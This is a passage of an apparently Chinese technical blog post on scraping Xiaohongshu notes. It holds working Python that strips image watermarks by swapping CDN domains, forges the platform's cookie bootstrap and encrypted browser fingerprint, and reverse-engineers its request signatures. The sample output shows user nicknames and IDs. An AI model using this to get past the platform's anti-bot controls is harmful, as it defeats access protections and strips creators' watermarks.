<p>想想也合理。App 里的 WebView 不一定能跑完整的反爬 JS，移动端分享链接（<code>app_platform=ios</code>）走了一条更宽松的路径，不校验 xsec 相关 Cookie。</p><p>代价是图片 URL 带水印，形如 <code>http://sns-webpic-qc.xhscdn.com/202604070308/&lt;sign&gt;/&lt;image_id&gt;!h5_1080jpg</code>。末尾 <code>!h5_1080jpg</code> 是 CDN 层面的处理指令，CDN 在出图时合成水印；去掉后缀会 403（签名路径对不上）。水印是图片处理管线的一部分，不是客户端加的。</p><p>好在小红书还有另一个 CDN 域名 <code>sns-img-qc.xhscdn.com</code>（还有 <code>ci.xiaohongshu.com</code>），按裸 image_id 直接出原图，不签名、不带水印。换域名去水印的实现：</p><pre class="language-python lang-python"><code class="language-python lang-python">def cdn_strip_watermark(url: str) -&gt; str:
    clean = url.split(&quot;!&quot;)[0] if &quot;!&quot; in url else url     # 去掉 !h5_1080jpg 这类后缀
    path = urlparse(clean).path
    parts = path.strip(&quot;/&quot;).split(&quot;/&quot;)
    if len(parts) &gt;= 3:
        image_path = &quot;/&quot;.join(parts[2:])                 # 跳过 DATE 和 SIGN，只留 image_id
        return f&quot;https://sns-img-qc.xhscdn.com/{image_path}&quot;
    return url
</code></pre>
<h3 id="-html-">从 HTML 里抠字段</h3><p>移动端分享页的 HTML 里<strong>有</strong> <code>window.__INITIAL_STATE__</code> 这个变量，但里面的 <code>note.noteDetailMap</code> 是空对象——移动端数据注入方式不一样，笔记字段以 JSON 片段形式散落在 HTML 文本里（SSR 预渲染的 script 块、或者模板序列化产物），<code>&quot;nickname&quot;:&quot;...&quot;</code> / <code>&quot;desc&quot;:&quot;...&quot;</code> / <code>&quot;title&quot;:&quot;...&quot;</code> 这种键值对就在文本里明文可读，直接 regex 扫就行。</p><p>每个字段定义一个梯队，按优先级挨个匹配，第一个非空非占位值就用：</p><pre class="language-python lang-python"><code class="language-python lang-python">def _first(patterns, html: str) -&gt; str:
    for p in patterns:
        for m in re.finditer(p, html, re.I | re.DOTALL):
            val = m.group(1).strip() if m.group(1) else &quot;&quot;
            if val and val not in (&quot;小红书&quot;, &quot;小红书 - 你的生活指南&quot;):
                return val
    return &quot;&quot;
</code></pre>
<p>标题的梯队必须加&quot;小红书&quot;占位过滤——<code>&lt;title&gt;</code> 标签经常是 <code>&quot;小红书&quot;</code> 或 <code>&quot;小红书 - 你的生活指南&quot;</code> 这种站名占位，遇到就跳到下一 pattern。不然兜底匹到站名一看拿到&quot;小红书&quot;就返回了，用户以为解析成功实际啥都没拿到：</p><pre class="language-python lang-python"><code class="language-python lang-python">title = _first([
    r&#x27;&lt;meta\s+property=&quot;og:title&quot;\s+content=&quot;([^&quot;]+)&quot;&#x27;,
    r&#x27;&quot;title&quot;:&quot;([^&quot;]+)&quot;&#x27;,
    r&quot;&lt;title[^&gt;]*&gt;(.*?)&lt;/title&gt;&quot;,
], html) or &quot;小红书内容&quot;

author_name = _first([r&#x27;&quot;nickname&quot;:&quot;([^&quot;]+)&quot;&#x27;, r&#x27;&quot;nickName&quot;:&quot;([^&quot;]+)&quot;&#x27;], html)
author_id   = _first([r&#x27;&quot;userId&quot;:&quot;([^&quot;]+)&quot;&#x27;,   r&#x27;&quot;user_id&quot;:&quot;([^&quot;]+)&quot;&#x27;],  html)

content_raw = _first([r&#x27;&quot;desc&quot;:&quot;([^&quot;]+)&quot;&#x27;, r&#x27;&quot;content&quot;:&quot;([^&quot;]+)&quot;&#x27;, r&#x27;&quot;text&quot;:&quot;([^&quot;]+)&quot;&#x27;], html)

stats = {
    &quot;liked&quot;:   _first([r&#x27;&quot;likedCount&quot;:&quot;?(\d+)&quot;?&#x27;],     html),
    &quot;comment&quot;: _first([r&#x27;&quot;commentCount&quot;:&quot;?(\d+)&quot;?&#x27;],   html),
    &quot;collect&quot;: _first([r&#x27;&quot;collectedCount&quot;:&quot;?(\d+)&quot;?&#x27;], html),
    &quot;share&quot;:   _first([r&#x27;&quot;shareCount&quot;:&quot;?(\d+)&quot;?&#x27;],     html),
}

pt_ms = _first([r&#x27;&quot;time&quot;:(\d{13})&#x27;], html)                  # 毫秒时间戳
</code></pre>
<p><code>content</code> 抓到的是 JS 转义字符串，得反转义：<code>\u002F</code> → <code>/</code>、<code>\u0026</code> → <code>&amp;</code>、<code>\u003D</code> → <code>=</code>、<code>\u003F</code> → <code>?</code>、<code>\u003A</code> → <code>:</code>、<code>\n</code>、<code>\t</code>、<code>&quot;</code> 等。转义反得不干净的话，URL 类字段（<code>http:\u002F\u002F...</code>）直接用不了：</p><pre class="language-python lang-python"><code class="language-python lang-python">def _unescape_js_string(s: str) -&gt; str:
    return (s.replace(r&quot;\u002F&quot;, &quot;/&quot;)
             .replace(r&quot;\u0026&quot;, &quot;&amp;&quot;)
             .replace(r&quot;\u003D&quot;, &quot;=&quot;)
             .replace(r&quot;\u003F&quot;, &quot;?&quot;)
             .replace(r&quot;\u003A&quot;, &quot;:&quot;)
             .replace(r&quot;\n&quot;, &quot;\n&quot;).replace(r&quot;\t&quot;, &quot;\t&quot;)
             .replace(r&quot;\&quot;&quot;, &#x27;&quot;&#x27;))
</code></pre>
<p>统计字段这里有个跨路线差异要记一笔：<strong>移动端 HTML 里是整数字符串</strong>（<code>&quot;likedCount&quot;:&quot;857&quot;</code>），而 API <code>/v1/feed</code> 返回的是<strong>可读格式</strong>（<code>&quot;liked_count&quot;:&quot;7.1万&quot;</code>）。两条路线同字段语义不一样，下游要拼 UI 的话得自己对齐。</p><h3 id="-taglist-desc">话题：必须走 tagList，不能走 desc</h3><p>话题抓取有个容易踩的坑：想从 <code>desc</code> 字段里的 <code>#话题名[话题]#</code> 模式抠，看起来能匹但结果经常碎。原因是 <code>desc</code> 已经被 JSON 转义，话题名里的中文经过 <code>\uXXXX</code> 序列化，regex 的边界判断很容易切错。正确做法是走 <code>tagList</code> 数组，先 locate 再 findall：</p><pre class="language-python lang-python"><code class="language-python lang-python">topics = []
m = re.search(r&#x27;&quot;tagList&quot;:\s*\[(.{0,5000}?)\]&#x27;, html, re.DOTALL)
if m:
    topics = re.findall(r&#x27;&quot;name&quot;:&quot;([^&quot;]+)&quot;&#x27;, m.group(1))
if not topics:                                               # 兜底：去 HTML 里扫 #xxx[话题]
    topics = re.findall(r&quot;#([^\s#\[]+)\[话题\]&quot;, html)
topics = list(dict.fromkeys(topics))[:20]                    # 去重保序，最多 20 个
</code></pre>
<p><code>tagList</code> 是结构化来源、无转义干扰，每个话题的 <code>name</code> 字段原样可读，一把拿全。</p><h3 id="-onix-carousel-item-dom">图片：锚定 onix-carousel-item DOM</h3><p>移动端分享页用 <code>&lt;div class=&quot;onix-carousel-item&quot;&gt;&lt;img src=&quot;...&quot;&gt;&lt;/div&gt;</code> 的结构渲染图片轮播，这个 class 名很独特不会误匹，正则抓 <code>src</code> 就能把图片全拿出来，每个 URL 再过 <code>cdn_strip_watermark</code> 换域名：</p><pre class="language-python lang-python"><code class="language-python lang-python">carousel = re.findall(
    r&#x27;class=&quot;onix-carousel-item&quot;[^&gt;]*&gt;.*?&lt;img[^&gt;]*src=[&quot;\&#x27;]([^&quot;\&#x27;\s]+)[&quot;\&#x27;]&#x27;,
    html, re.DOTALL,
)
images = [
    {&quot;index&quot;: i, &quot;id&quot;: image_id_from_url(u), &quot;url&quot;: u, &quot;raw_url&quot;: cdn_strip_watermark(u)}
    for i, u in enumerate(carousel, 1)
]
</code></pre>
<h3 id="-masterurl--">视频和实况：扫 masterUrl + 过滤水印变体</h3><p>视频 URL 散点扫三种模式，每个都要过滤带水印的 <code>_259.mp4</code> 变体：</p><pre class="language-python lang-python"><code class="language-python lang-python">video_urls = []
for pat in [
    r&#x27;&quot;masterUrl&quot;:&quot;([^&quot;]+)&quot;&#x27;,
    r&#x27;&quot;master_url&quot;:&quot;([^&quot;]+)&quot;&#x27;,
    r&#x27;&quot;url&quot;:&quot;(https://v\.xhscdn\.com[^&quot;]+)&quot;&#x27;,
]:
    for m in re.finditer(pat, html):
        v = _unescape_js_string(m.group(1))
        if &quot;_259.mp4&quot; in v:                                  # 带水印视频变体，跳过
            continue
        if v not in video_urls:
            video_urls.append(v)
</code></pre>
<p>其他后缀（<code>_adapt_720p.mp4</code> / master URL 等）默认无水印。</p><h3 id="">内容类型判定</h3><p><code>content_type</code> 三个值：<code>image</code> / <code>video</code> / <code>live_photo</code>。判定顺序：</p><pre class="language-python lang-python"><code class="language-python lang-python">type_param = parse_qs(urlparse(final_url).query).get(&quot;type&quot;, [&quot;&quot;])[0]

if type_param == &quot;video&quot; and video_urls:
    content_type = &quot;video&quot;
    videos = video_urls[:1]                                  # 主视频一条就够
elif video_urls:
    # 视频数跟图片数接近（比如都是 3 个），大概率是实况：每张静态图配一段 motion 视频
    content_type = &quot;live_photo&quot;
    live_photos = [
        {&quot;index&quot;: i, &quot;image_url&quot;: images[i-1][&quot;raw_url&quot;], &quot;video_url&quot;: video_urls[i-1]}
        for i in range(1, min(len(images), len(video_urls)) + 1)
    ]
else:
    content_type = &quot;image&quot;
</code></pre>
<p>实况笔记下游下载时每对存成 <code>live_01_still.jpg</code> + <code>live_01_motion.mp4</code>，打包后用户在手机相册就能还原成实况效果。</p><h3 id="">实测</h3><p><strong>图片笔记</strong>：<code>http://xhslink.com/o/4IVKoZeuj0O</code></p><pre class=""><code class="">note_id      : 6955f790000000001f0042e2
title        : 𝐰𝐞𝐜𝐡𝐚𝐭｜情侣头像
author       : zhang / 5cd3f6730000000012033a83
content_type : image
images       : 12 张（全部换 CDN 域名拿无水印原图）
stats        : likes=857  comments=22  collects=290  shares=200
topics       : [&#x27;今天你换头像了吗&#x27;, &#x27;情侣头像&#x27;, &#x27;cp&#x27;, &#x27;头像分享&#x27;, &#x27;今日头像分享&#x27;,
               &#x27;可爱小猫&#x27;, &#x27;猫猫是世界上最可爱的生物&#x27;, &#x27;每日分享&#x27;, &#x27;小动物头像&#x27;, &#x27;头像&#x27;]
publish      : 2026-01-01T12:26:56
</code></pre>
<p><strong>视频笔记</strong>：<code>http://xhslink.com/o/Ap3mwS5Q0UD</code></p><pre class=""><code class="">note_id      : 69e3114b000000002202916e
title        : 仲夏可可很萌！
author       : 用眼泪把你复习一遍 / 6690bced000000000f0348e9
content_type : video
videos       : 1 条 master URL
stats        : likes=1209  comments=154  collects=160  shares=42
topics       : [&#x27;仲夏可可&#x27;, &#x27;莓喵jk&#x27;]
publish      : 2026-04-18T13:06:19
</code></pre>
<p><strong>实况笔记</strong>：<code>http://xhslink.com/o/LRYdx90zeV</code></p><pre class=""><code class="">note_id      : 69e1594b000000000b010eaf
title        : 🇫🇷尼斯老城遇到杨超越董思成
author       : 喵了个汪 / 6161f5460000000002022ced
content_type : live_photo
images       : 3 张静态图 + 逐张配对的 motion 视频
stats        : likes=7  comments=3419  collects=5392  shares=5024
topics       : [&#x27;偶遇明星&#x27;, &#x27;偶遇&#x27;, &#x27;杨超越&#x27;, &#x27;董思成&#x27;, &#x27;法国&#x27;, &#x27;尼斯&#x27;, &#x27;尼斯老城区&#x27;]
publish      : 2026-04-17T05:48:59
</code></pre>
<p>三种内容类型都能出，主数据基本齐全。这条路的局限也很明确：</p><ul><li>评论正文拿不到。评论不在分享页 HTML 里，要另打 <code>/api/sns/web/v2/comment/page</code>，那个接口又回到了需要完整签名的世界。</li><li>统计字段是整数而非可读格式。上面实况那条实际有 7.9 万赞，但这条路抓到的是整数 <code>7</code>——移动端 HTML 里点赞数就以被 CDN/SSR 截断的散落片段存在，精度不够。</li></ul><h2 id="pc-web--html--initialstate">路线二：PC Web 会话加 HTML 里的 <code>__INITIAL_STATE__</code></h2><p>小红书 PC 的分享页是<strong>服务端渲染</strong>的，数据直接嵌在 HTML 里：</p><pre class="language-html lang-html"><code class="language-html lang-html">&lt;script&gt;
  window.__INITIAL_STATE__ = { &quot;note&quot;: { &quot;noteDetailMap&quot;: { &quot;&lt;note_id&gt;&quot;: { &quot;note&quot;: { ... } } } }, ... }
&lt;/script&gt;
</code></pre>
<p>这里面是一份几乎完整的笔记 JSON——标题、正文、图片列表（带 infoList 多分辨率变体）、作者、交互数据、话题标签、视频流信息一应俱全，而且图片 URL 是<strong>无水印</strong>的原始 CDN 链接。</p><p>不需要调 <code>/v1/feed</code>，也就不需要 JSVMP 签名。但有代价：得先能以&quot;像浏览器&quot;的状态打开这个分享页。直接 <code>aiohttp</code> 加一个 UA 打过去会被重定向到 <code>/login</code> 或 404，所以要把浏览器那一整套初始化跑一遍。</p><h3 id="cookie-9--bootstrap">Cookie 生成链：9 步 bootstrap</h3><p>完整的 session 初始化跑下来是这 9 步，每一步产出的 cookie 会被下一步依赖：</p><pre class=""><code class="">1. GET  /                                       载入首页
2. GET  /api/sec/v1/ds?appId=xhs-pc-web         预拉 JSVMP 解密脚本
3. POST /api/redcaptcha/v2/getconfig            验证码配置
4. POST /api/sec/v1/scripting  type=ds          scripting 通道预热
5. POST /api/sec/v1/sbtsource                   上报 sbt 源
6. POST /api/sec/v1/scripting  callback=seccallback   下发 websectiga / sec_poison_id
7. POST /api/sec/v1/shield/webprofile           上报指纹 → 下发 gid
8. POST /api/sns/web/v1/login/activate          游客激活 → 下发 web_session
9. runtime bootstrap: user/me, system/config, zones,
                      homefeed/category, global/config,
                      racing_get, racing_report
</code></pre>
<p>少跑一步，后面某个接口就会挂。里面几个关键 cookie 的生成方式：</p><p><strong>a1</strong>：这是整套身份的种子，完全本地生成。时间戳 hex + 30 位随机字符 + 平台码 + CRC32 校验，截前 52 位：</p><pre class="language-python lang-python"><code class="language-python lang-python">def gen_a1():
    hex_data = hex(int(time.time() * 1000))[2:]
    random_30 = &#x27;&#x27;.join(random.choices(
        &quot;abcdefghijklmnopqrstuvwxyz1234567890&quot;, k=30))
    # GET_PLAT_FROM_CODE = 5（Windows 在前端 getPlatformCode 里走 other 分支返回 5）
    text = hex_data + random_30 + &quot;5&quot; + &quot;0&quot; + &quot;000&quot;
    crc32 = crc32_encode(text)
    return (text + str(crc32))[:52]                      # 52 字节定长
</code></pre>
<p><strong>webId</strong>：<code>MD5(a1)</code>，跟 a1 绑定的设备标识。</p><p><strong>websectiga</strong> 和 <strong>sec<em>poison</em>id</strong>：第 6 步 <code>POST /api/sec/v1/scripting callback=seccallback</code> 返回一段 JS 字符串，形如 <code>{&quot;b&quot;:&quot;&lt;base64&gt;&quot;,&quot;d&quot;:[...]})</code>。服务端是想让你在浏览器里跑一遍 VM 解出 64 位密钥，我们静态解：</p><pre class="language-python lang-python"><code class="language-python lang-python">def gen_websectiga(js_text: str) -&gt; str:
    b = re.search(r&#x27;&quot;b&quot;:&quot;(.*?)&quot;,&#x27;, js_text).group(1)
    d = json.loads(re.search(r&#x27;&quot;d&quot;:(.*?)\}\)&#x27;, js_text).group(1))

    # 1. base64 解码 b，按每 5 个字符一组拆列表，每个字符值取 ord(c) - 1
    padding = len(b) % 4
    if padding:
        b += &#x27;=&#x27; * (4 - padding)
    decoded = base64.b64decode(b).decode(&#x27;utf-8&#x27;)
    decode_list = []
    chunk = []
    for c in decoded:
        if len(chunk) == 5:
            decode_list.append(chunk)
            chunk = []
        chunk.append(ord(c) - 1)
    if chunk:
        decode_list.append(chunk)

    # 2. 按 d[92]:d[93]+1 切片，再按固定偏移二次查表得到 64 个整数
    target = decode_list[d[92]:d[93]+1]
    key = [d[target[675 + i][2]] for i in range(0, 128, 2)]

    # 3. 按 for i in range(56, -1, -8) for j in range(8) 的双重循环拼 64 字符
    return &quot;&quot;.join(chr(key[i + j]) for i in range(56, -1, -8) for j in range(8))
</code></pre>
<p>那一串偏移量（92 / 93 / 675 / 56 / -1 / -8 / 8）都是从 JSVMP 字节码里抠出来的 magic 数字，会随版本微调。<code>sec_poison_id</code> 从同一次响应的另一个字段直接取。</p><p><strong>gid</strong> 和 <strong>acw_tc</strong>：把 80+ 字段的浏览器指纹（UA、screen、WebGL、Canvas 哈希等）序列化 → base64 → DES-ECB 加密（密钥 <code>zbp30y86</code>，零填充到 8 字节块）→ hex。作为 <code>profileData</code> POST 到 <code>webprofile</code>，服务端在响应里 <code>Set-Cookie</code> 回这两个 cookie：</p><pre class="language-python lang-python"><code class="language-python lang-python">def encrypt_profile_data(fp: dict) -&gt; str:
    fp_json = json.dumps(fp, separators=(&#x27;,&#x27;, &#x27;:&#x27;), ensure_ascii=False)
    fp_b64 = base64.b64encode(fp_json.encode())
    cipher = DES.new(b&quot;zbp30y86&quot;, DES.MODE_ECB)
    # 零填充到 8 字节倍数
    pad_len = 8 - len(fp_b64) % 8
    padded = fp_b64 + b&#x27;\x00&#x27; * pad_len
    return cipher.encrypt(padded).hex()
</code></pre>
<p><strong>web_session</strong>：最后一步游客激活 <code>POST /api/sns/web/v1/login/activate</code> 空 body，服务端下发。前缀分两种：<code>03</code> 开头是设备级游客态，空 body POST 就能拿到；<code>04</code> 开头是真实登录态，只有带着已登录浏览器的 session cookie 进 activate 才能拿到。<strong>03 对 <code>/v1/feed</code>、分享页 HTML 这些公开数据都是够用的</strong>，真正需要 04 的是关注流、私信之类跟真实用户关系绑定的接口，跟笔记解析无关。</p><p>除此之外还会顺手写几个辅助 cookie：<code>loadts</code>（签名用的时间戳，每次 encrypted request 都会更新）、<code>webBuild</code>（等于 <code>ARTIFACT_VERSION</code>）、<code>xsecappid</code>（等于 <code>xhs-pc-web</code>）、<code>abRequestId</code>（一个 UUID）。这些缺一个都会被服务端当作异常客户端。</p><p>除了 cookie，headers 也要严格对齐。UA 里的 Chrome 版本号（比如 <code>Chrome/147</code>）必须和 <code>sec-ch-ua</code> 里的 Chromium 版本号一致，<code>sec-ch-ua-platform</code>、<code>sec-ch-ua-mobile</code> 也要给全。只要有一项对不上，签名接口就会 461。</p><h3 id="-artifactversion-">版本同步：别把 ARTIFACT_VERSION 写死</h3><p><code>ARTIFACT_VERSION</code> 写死的话早晚会挂——一年多里线上从 <code>4.83.1</code> 一路爬到 <code>6.7.0</code>（<code>LANGUAGE_VERSION</code> 从 <code>4.2.6</code> 变成 <code>4.3.5</code>），大概一个季度一次大版本。版本落后最典型的症状是 <code>shield/webprofile</code> 阶段直接 <code>471 verifyType=290</code>：</p><pre class="language-json lang-json"><code class="language-json lang-json">{&quot;msg&quot;: &quot;当前版本过低，请刷新页面或关闭后重新打开页面&quot;, &quot;code&quot;: 300042}
</code></pre>
<p>稳妥的做法是启动时去拉 <code>https://www.xiaohongshu.com/</code>，从返回 HTML 里找 <code>&lt;script src=&quot;...vendor-dynamic.xxx.js&quot;&gt;</code>，下载下来用正则抽版本号：</p><pre class="language-python lang-python"><code class="language-python lang-python">html = requests.get(&quot;https://www.xiaohongshu.com/&quot;).text
m = re.search(r&#x27;/vendor-dynamic\.([a-f0-9]+)\.js&#x27;, html)
js = requests.get(f&quot;https://static-resource.xhscdn.com/.../vendor-dynamic.{m.group(1)}.js&quot;).text
artifact_version = re.search(r&#x27;artifactVersion.*?(\d+\.\d+\.\d+)&#x27;, js).group(1)
language_version = re.search(r&#x27;languageVersion.*?(\d+\.\d+\.\d+)&#x27;, js).group(1)
</code></pre>
<p>同样的办法抽 <code>sdkVersion</code>、<code>appId</code>。抽不到就 fallback 到本地配置，但<strong>本地配置要定期跟</strong>，别把两年前的值留在那里。</p><h3 id="">打开分享页</h3><p>Session 建好之后，按顺序试两个 URL：</p><pre class="language-python lang-python"><code class="language-python lang-python">candidates = [
    f&quot;https://www.xiaohongshu.com/discovery/item/{note_id}&quot;
    f&quot;?app_platform=ios&amp;app_version=9.22.1&amp;share_from_user_hidden=true&quot;
    f&quot;&amp;xsec_source=app_share&amp;type=normal&amp;xsec_token={quote(xsec_token, safe=&#x27;&#x27;)}&quot;,
    f&quot;https://www.xiaohongshu.com/explore/{note_id}&quot;
    f&quot;?xsec_token={quote(xsec_token, safe=&#x27;&#x27;)}&amp;xsec_source=pc_feed&quot;,
]
</code></pre>
<p>第一个模拟 App 分享起源，第二个模拟从 PC feed 点进去。服务端会把 <code>noteDetailMap[&lt;note_id&gt;].note</code> 直接填到 HTML 里返回。请求头要模仿 document 级跳转，服务端才会把它当真实浏览器：</p><pre class="language-python lang-python"><code class="language-python lang-python">doc_headers = {
    &quot;accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,&quot;
              &quot;image/avif,image/webp,image/apng,*/*;q=0.8&quot;,
    &quot;referer&quot;: &quot;https://www.xiaohongshu.com/&quot;,
    &quot;sec-fetch-dest&quot;: &quot;document&quot;,
    &quot;sec-fetch-mode&quot;: &quot;navigate&quot;,
    &quot;sec-fetch-site&quot;: &quot;same-origin&quot;,
    &quot;upgrade-insecure-requests&quot;: &quot;1&quot;,
}
</code></pre>
<p><code>xsec_token</code> 必须 <code>quote(token, safe=&#x27;&#x27;)</code> 整串转义后再嵌 URL，否则末尾的 <code>=</code> 会被当成 URL query 分隔符。</p><h3 id="-html--initialstate">从 HTML 里抠 <code>__INITIAL_STATE__</code></h3><p>小红书 PC 前端的 build 在某次更新后把赋值变成了紧贴写法 <code>window.__INITIAL_STATE__={...}</code>（原来是 <code>window.__INITIAL_STATE__ = {...}</code>，两边各一个空格）。老代码 <code>html.find(&quot;window.__INITIAL_STATE__ = &quot;)</code> 直接返回 <code>-1</code>，整条 HTML 解析就死在第一步，整个系统会静默退化成 <code>&lt;meta og:*&gt;</code> 兜底——表面上没报错，实际只剩标题和封面。</p><p>稳妥的写法是用正则匹配赋值符号、再从第一个 <code>{</code> 开始做<strong>大括号平衡扫描</strong>精确截取整个 JSON 对象，同时避开字符串字面量里的括号：</p><pre class="language-python lang-python"><code class="language-python lang-python">def extract_assigned_json_object(html: str, var_name: str) -&gt; str:
    m = re.search(rf&quot;{re.escape(var_name)}\s*=\s*&quot;, html, flags=re.IGNORECASE)
    if not m:
        return &quot;&quot;
    # 跳过等号后的空白，定位第一个 &#x27;{&#x27;
    i = m.end()
    while i &lt; len(html) and html[i].isspace():
        i += 1
    if i &gt;= len(html) or html[i] != &quot;{&quot;:
        return &quot;&quot;

    depth, in_string, quote_char, escaped = 0, False, &quot;&quot;, False
    start = i
    for cursor in range(i, len(html)):
        ch = html[cursor]
        if in_string:
            if escaped:
                escaped = False
            elif ch == &quot;\\&quot;:
                escaped = True
            elif ch == quote_char:
                in_string = False
            continue
        if ch in (&#x27;&quot;&#x27;, &quot;&#x27;&quot;):
            in_string, quote_char = True, ch
        elif ch == &quot;{&quot;:
            depth += 1
        elif ch == &quot;}&quot;:
            depth -= 1
            if depth == 0:
                return html[start : cursor + 1]
    return &quot;&quot;
</code></pre>
<p>抠出来的 JSON <strong>不是合法 JSON</strong>——小红书前端会塞 <code>undefined</code> 字面量：</p><pre class=""><code class="">&quot;someField&quot;: undefined,
&quot;someArray&quot;: [undefined]
</code></pre>
<p><code>json.loads</code> 直接爆炸，先做两轮替换：</p><pre class="language-python lang-python"><code class="language-python lang-python">def sanitize_initial_state(raw: str) -&gt; str:
    s = re.sub(r&quot;:\s*undefined(?=[,}])&quot;, &quot;: null&quot;, raw)
    s = re.sub(r&quot;\[\s*undefined\s*\]&quot;, &quot;[null]&quot;, s)
    return s

state = json.loads(sanitize_initial_state(extract_assigned_json_object(html, &quot;window.__INITIAL_STATE__&quot;)))
</code></pre>
<p>笔记主体在 <code>state[&quot;note&quot;][&quot;noteDetailMap&quot;][&lt;note_id&gt;][&quot;note&quot;]</code>。两个候选 URL 里第一个能命中就直接返回；如果都没命中，<code>noteDetailMap</code> 可能只剩一个 <code>&quot;undefined&quot;</code> 占位键（笔记被风控或已删），代码里专门留了&quot;找第一个非 <code>undefined</code> key&quot;的兜底：</p><pre class="language-python lang-python"><code class="language-python lang-python">def choose_note_payload(state: dict, note_id: str) -&gt; dict:
    detail_map = (state.get(&quot;note&quot;) or {}).get(&quot;noteDetailMap&quot;) or {}
    if note_id and note_id in detail_map:
        return (detail_map[note_id] or {}).get(&quot;note&quot;) or {}
    for key, value in detail_map.items():
        if key != &quot;undefined&quot; and isinstance(value, dict):
            return value.get(&quot;note&quot;) or {}
    return {}
</code></pre>
<p>拿到 <code>note</code> 之后字段都是结构化的：<code>note[&quot;title&quot;]</code>、<code>note[&quot;desc&quot;]</code>、<code>note[&quot;user&quot;][&quot;nickname&quot;]</code>、<code>note[&quot;user&quot;][&quot;userId&quot;]</code>、<code>note[&quot;interactInfo&quot;][&quot;likedCount&quot;]</code>（可读格式 <code>&quot;7.9万&quot;</code>）、<code>note[&quot;tagList&quot;]</code> 是 <code>[{&quot;id&quot;, &quot;name&quot;, &quot;type&quot;}, ...]</code>、<code>note[&quot;imageList&quot;]</code> 每项带 <code>urlDefault</code> / <code>urlPre</code> / <code>url</code> / <code>infoList</code>（多分辨率变体）和 <code>livePhoto</code> 标志、<code>note[&quot;video&quot;][&quot;media&quot;][&quot;stream&quot;]</code> 里有 h264 / h265 / av1 的 master URL 和备用 URL。</p><h3 id="">补评论和附属数据</h3><p>评论不在 HTML 里，得单独请求 <code>/api/sns/web/v2/comment/page</code>。这个接口和 <code>/api/sns/web/share/code</code>（分享码）、<code>/api/sns/web/v2/widgets</code>（组件信息）一样，都是走完整签名流程的——和 <code>/v1/feed</code> 用的是同一套 session 和同一套加密头。也就是说，一旦 PC session 养干净了，拿评论、分享码、组件信息这些附属数据基本就是顺手的事。</p><h3 id="">实测</h3><p>路线二在同一条 session 基础上跑三个测试链接，拿到的主字段跟路线一完全一致：</p><table><thead><tr><th> 字段 </th><th> 图片笔记 </th><th> 视频笔记 </th><th> 实况笔记 </th></tr></thead><tbody><tr><td> note_id </td><td> 6955f790... </td><td> 69e3114b... </td><td> 69e1594b... </td></tr><tr><td> title </td><td> 𝐰𝐞𝐜𝐡𝐚𝐭｜情侣头像 </td><td> 仲夏可可很萌！ </td><td> 🇫🇷尼斯老城遇到杨超越董思成 </td></tr><tr><td> content_type </td><td> image </td><td> video </td><td> live_photo </td></tr><tr><td> images </td><td> 12 </td><td> — </td><td> 3 </td></tr><tr><td> videos </td><td> — </td><td> 1 master URL </td><td> 3 motion（每张静态图配一段） </td></tr><tr><td> stats </td><td> 857 / 22 / 290 / 200 </td><td> 1209 / 154 / 160 / 42 </td><td> 79000 / 3419 / 5392 / 5024 </td></tr></tbody></table><p>跟路线一比，路线二的两点优势：</p><ul><li>图片 URL 默认就是无水印的 <code>!nd_dft_wlteh_jpg_3</code> 变体，不用再换域名也能拿干净图</li><li>统计数是结构化字段（上面实况那条在 HTML 层面是 <code>79000</code>，不是路线一那个被切碎的 <code>7</code>）</li></ul><p>代价是每次要跑完整 9 步 bootstrap，冷启动 10–30 秒；想拿评论正文还得再过一次签名接口。</p><h2 id="-apisnswebv1feed">路线三：走 <code>/api/sns/web/v1/feed</code></h2><p>HTML 能拿到绝大多数字段，但有几个场景还是只有 API 才干净。比如完整的 <code>infoList</code> 多分辨率变体、视频的多条备用 CDN URL、精确可读格式的统计数、实况的 stream.h264 结构、某些话题的完整元数据。所以最里面还留了一条直接调 feed 接口的路。</p><p>走通这条路的核心在于两件事：一是路线二里那套 session 和 cookie 生成链要先建好（<code>/v1/feed</code> 复用同一条 session，<code>a1</code> / <code>web_session</code> / <code>gid</code> 一个都不能少）；二是每个请求要带 5 个自己算出来的签名头。下面逐个说。</p><h3 id="">请求签名总览</h3><table><thead><tr><th> Header </th><th> 构造方式 </th></tr></thead><tbody><tr><td> <code>x-s</code> </td><td> 11 段字节流拼成的 124 字节数组 → 逐位 XOR 固定 124 字节 key → Base58 编码 → <code>mns0101_</code> 前缀 → 外层包一层自定义 Base64 → <code>XYS_</code> 前缀 </td></tr><tr><td> <code>x-s-common</code> </td><td> 指纹 18 字段子集 ARC4 加密得到 <code>b1</code> → 外层包含 <code>plat_from_code</code> / <code>language_version</code> / <code>artifact_version</code> / <code>cookie_a1</code> / <code>b1</code> / MRC 校验的字典 → 自定义 Base64 </td></tr><tr><td> <code>x-b3-traceid</code> </td><td> 16 位随机 hex </td></tr><tr><td> <code>x-xray-traceid</code> </td><td> <code>(timestamp_ms &lt;&lt; 23) | seq</code> 补 16 hex + 64 位随机数补 16 hex，拼成 32 位 </td></tr><tr><td> <code>x-t</code> </td><td> 当前毫秒时间戳 </td></tr></tbody></table><p>这五个头里后三个是纯本地运算，一看就能实现。真正重头戏是 <code>x-s</code> 和 <code>x-s-common</code>——下面把它们拆开讲。</p><h3 id="x-s11--xor--base58">x-s：11 段字节拼装后 XOR + Base58</h3><p>浏览器里这个头由 <code>window.mnsv2()</code> 算出来，实际逻辑被编译成自定义 VM 字节码跑在 JSVMP 虚拟机里。静态还原方式是对着字节码逐条指令解释，还原出下面这段 Python：</p><pre class="language-python lang-python"><code class="language-python lang-python">def _encrypt_headers_x3(a1, loadts, uri, params=None, data=None):
    # 把 query/body 拼到 uri 后面一起算签名
    if params:
        uri = f&quot;{uri}?{urlencode(params).replace(&#x27;%2C&#x27;, &#x27;,&#x27;)}&quot;
    if data is not None:
        uri = uri + json.dumps(data, separators=(&#x27;,&#x27;, &#x27;:&#x27;))

    md5_url = hashlib.md5(uri.encode()).hexdigest()
    random_num = int(random.random() * 4294967295)
    timestamp = int(time.time() * 1000)

    # 11 段字节流 = 4+4+8+8+4+4+4+8+53+11+16 = 124 字节
    part1  = [119, 104, 96, 41]                                      # 固定 magic
    part2  = list(random_num.to_bytes(4, &#x27;little&#x27;))
    # timestamp 8 字节 LE，第 0 字节改成 sum(b[1:5])+sum(b[5:8]) 低 8 位，全字节 XOR 41
    b = list(timestamp.to_bytes(8, &#x27;little&#x27;))
    b[0] = (sum(b[1:5]) &amp; 255) + sum(b[5:8]) &amp; 0xFF
    part3  = [x ^ 41 for x in b]
    part4  = list(loadts.to_bytes(8, &#x27;little&#x27;))
    part5  = list((int(random.random() * 99) + 1).to_bytes(4, &#x27;little&#x27;))
